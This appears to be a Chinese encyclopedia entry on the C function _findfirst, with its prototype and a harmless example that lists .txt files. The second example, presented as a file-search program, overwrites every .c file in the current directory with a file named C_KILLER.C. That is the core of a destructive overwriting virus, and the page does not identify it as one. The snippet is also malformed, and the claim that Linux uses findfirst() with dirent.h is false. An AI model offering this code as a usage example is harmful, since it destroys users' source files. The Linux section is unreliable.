findfirst

findfirst

findfirst是一個計算機函式,功能是搜尋與指定的檔案名稱稱匹配的第一個實例,若成功則返回第一個實例的句柄,否則返回-1L。

基本介紹

  • 中文名:findfirst
  • 函式簡介:函式名稱:_findfirst
  • 函式功能:搜尋與指定的檔案名稱稱匹
  • 函式原型:long _findfirst( char *fil
函式原型,程式舉例,系統下狀態,查找程式,

函式原型

函式原型:long _findfirst( char *filespec, struct _finddata_t *fileinfo );
頭檔案:io.h

程式舉例

#include<io.h>#include<stdio.h>int main(){long Handle;struct _finddata_t FileInfo;if((Handle=_findfirst("D:\\*.txt",&FileInfo))==-1L)printf("沒有找到匹配的項目\n");else{printf("%s\n",FileInfo.name);while(_findnext(Handle,&FileInfo)==0)printf("%s\n",FileInfo.name);_findclose(Handle);}return0;}

系統下狀態

Linux下的FindFirst
在linux作業系統下,編譯器用findfirst(),而不是_findfirst().
linux作業系統下的查找檔案的操作,需要包含dirent.h頭檔案.

查找程式

#include <dirent.h>
#include<io.h>
#include<stdlib.h>
#include<stdio.h>
int main(void)
{
int done;//整形變數
struct ffblk ffblk; //聲名結構變數
done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
}
}

相關詞條

熱門詞條

聯絡我們